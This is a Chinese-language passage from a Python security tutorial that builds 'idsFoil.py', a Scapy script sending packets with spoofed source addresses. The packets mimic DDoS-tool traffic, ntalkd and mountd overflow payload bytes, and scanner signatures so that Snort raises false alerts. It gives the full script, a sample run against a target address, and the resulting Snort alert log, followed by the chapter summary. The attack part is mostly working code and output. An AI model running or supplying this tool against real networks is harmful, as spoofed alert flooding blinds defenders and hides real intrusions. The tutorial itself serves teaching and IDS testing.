**send(pkt, iface=iface, count=count)**

**pkt = IP(src=src, dst=dst) / UDP(dport=635) /Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")**

**send(pkt, iface=iface, count=count)**

最后，它会很好的欺骗一些侦查和扫描。当我们检查Snort的扫描规则时发现两个我们可以制作数据包的规则。两个规则通过特定的端口和特定原始内容的UDP协议检测恶意行为。很容易制作这种数据包。

**alert udp $EXTERNAL\_NET any -> $HOME\_NET 7 (msg:"SCAN cybercop udp**

**bomb"; content:"cybercop"; reference:arachnids,363; classtype:bad-**

**unknown; sid:636; rev:1;)**

**alert udp $EXTERNAL\_NET any -> $HOME\_NET 10080:10081 (msg:"SCAN Amanda**

**client version request"; content:"Amanda"; nocase; classtype:attempted-**

**recon; sid:634; rev:2;)**

我们生成两个对应规则的扫描工具的数据包。当生成两个合适的UDP数据包之后我们发送到目标主机。

**def scanTest(src, dst, iface, count):**

**pkt = IP(src=src, dst=dst) / UDP(dport=7) /Raw(load='cybercop')**

**send(pkt)**

**pkt = IP(src=src, dst=dst) / UDP(dport=10080) /Raw(load='Amanda')**

**send(pkt, iface=iface, count=count)**

现在，我们有数据包可以生成拒绝服务攻击，渗透攻击和扫描侦查的警告。我们把代码组合在一起，添加一些选项解析。注意，用户必须输入目标地址否则程序会退出。如果用户没有输入源地址，我们会生成一个随机的源地址。如果用户不能指定发送制作的数据包多少次，我们将只发送一次。该脚本使用缺省的网卡eth0，除非用户指定。虽然我们的目的文本很短，你可以继续添加脚本生成测试其他攻击类型的警告。

# coding=UTF-8  
**import** optparse  
**from** scapy.all **import** \*  
**from** random **import** randint  
  
**def ddosTest**(src, dst, iface, count):  
 pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234')  
 send(pkt, iface=iface, count=count)  
 pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAAAA')  
 send(pkt, iface=iface, count=count)  
 pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG')  
 send(pkt, iface=iface, count=count)  
 pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456)  
 send(pkt, iface=iface, count=count)  
  
**def exploitTest**(src, dst, iface, count):  
 pkt = IP(src=src, dst=dst) / UDP(dport=518) /Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8")  
 send(pkt, iface=iface, count=count)  
 pkt = IP(src=src, dst=dst) / UDP(dport=635) /Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")  
 send(pkt, iface=iface, count=count)  
  
**def scanTest**(src, dst, iface, count):  
 pkt = IP(src=src, dst=dst) / UDP(dport=7) /Raw(load='cybercop')  
 send(pkt)  
 pkt = IP(src=src, dst=dst) / UDP(dport=10080) /Raw(load='Amanda')  
 send(pkt, iface=iface, count=count)  
  
**def main**():  
 parser = optparse.OptionParser('usage%prog -i<iface> -s <src> -t <target> -c <count>')  
 parser.add\_option('-i', dest='iface', type='string', help='specify network interface')  
 parser.add\_option('-s', dest='src', type='string', help='specify source address')  
 parser.add\_option('-t', dest='tgt', type='string', help='specify target address')  
 parser.add\_option('-c', dest='count', type='int', help='specify packet count')  
 (options, args) = parser.parse\_args()  
 **if** options.iface == None:  
 iface = 'eth0'  
 **else**:  
 iface = options.iface  
 **if** options.src == None:  
 src = '.'.join([str(randint(1,254)) **for** x **in** range(4)])  
 **else**:  
 src = options.src  
 **if** options.tgt == None:  
 **print**(parser.usage)  
 exit(0)  
 **else**:  
 dst = options.tgt  
 **if** options.count == None:  
 count = 1  
 **else**:  
 count = options.count  
 ddosTest(src, dst, iface, count)  
 exploitTest(src, dst, iface, count)  
 scanTest(src, dst, iface, count)  
   
**if** \_\_name\_\_ == '\_\_main\_\_':  
 main()

执行我们最终的脚本，我们可以看到它正确的发送了八个数据包到目标地址，欺骗源地址为1.3.3.7。为了测试目的，确保目标主机和攻击者的机器不同。

**attacker# python idsFoil.py -i eth0 -s 1.3.3.7 -t 192.168.1.106 -c 1**

**Sent 1 packets.**

**Sent 1 packets.**

**Sent 1 packets.**

**Sent 1 packets.**

**Sent 1 packets.**

**Sent 1 packets.**

**Sent 1 packets.**

**Sent 1 packets.**

分析IDS的日志，我们看到它很快就填满了八个警告消息。棒极了！我们的工具包工作了，本章结束！

**victim# snort -q -A console -i eth0 -c /etc/snort/snort.conf**

**03/14-11:45:01.060632 [\*\*] [1:222:2] DDOS tfn2k icmp possible**

**communication [\*\*] [Classification: Attempted Denial of Service]**

**[Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106**

**03/14-11:45:01.066621 [\*\*] [1:223:3] DDOS Trin00 Daemon to Master PONG**

**message detected [\*\*] [Classification: Attempted Information Leak]**

**[Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335**

**03/14-11:45:01.069044 [\*\*] [1:228:3] DDOS TFN client command BE [\*\*]**

**[Classification: Attempted Denial of Service] [Priority: 2] {ICMP}**

**1.3.3.7 -> 192.168.1.106**

**03/14-11:45:01.071205 [\*\*] [1:313:4] EXPLOIT ntalkd x86 Linux overflow**

**[\*\*] [Classification: Attempted Administrator Privilege Gain]**

**[Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:518**

**03/14-11:45:01.076879 [\*\*] [1:315:6] EXPLOIT x86 Linux mountd overflow**

**[\*\*] [Classification: Attempted Administrator Privilege Gain]**

**[Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:635**

**03/14-11:45:01.079864 [\*\*] [1:636:1] SCAN cybercop udp bomb [\*\*]**

**[Classification: Potentially Bad Traffic] [Priority: 2] {UDP}**

**1.3.3.7:53 -> 192.168.1.106:7**

**03/14-11:45:01.082434 [\*\*] [1:634:2] SCAN Amanda client version request**

**[\*\*] [Classification: Attempted Information Leak] [Priority: 2]**

**{UDP} 1.3.3.7:53 -> 192.168.1.106:10080**

**本章总结**

恭喜你！我们在这一章编写了相当多的工具用来分析网络流量。我们从编写简单的检测极光攻击工具开始。接下来，我们编写了一些脚本来检测Anonymous黑客组织的LOIC工具的攻击。接下来，我们重现了7岁的Moore用来检测五角大楼的诱饵扫描程序。接下来，我们创建了一些脚本用来检测利用DNS作为攻击向量的攻击。包括Storm和Conficker蠕虫。有了分析流量的能力，我们重现了20年前米特尼克用于攻击的程序。最后，我们利用我们的网络分析技能伪造数据包挫败了入侵检测系统。

希望本章为您提供了极好的网络流量分析技能。在下一章我们编写无线网络审计和移动设备的工具时这些技能是有用的。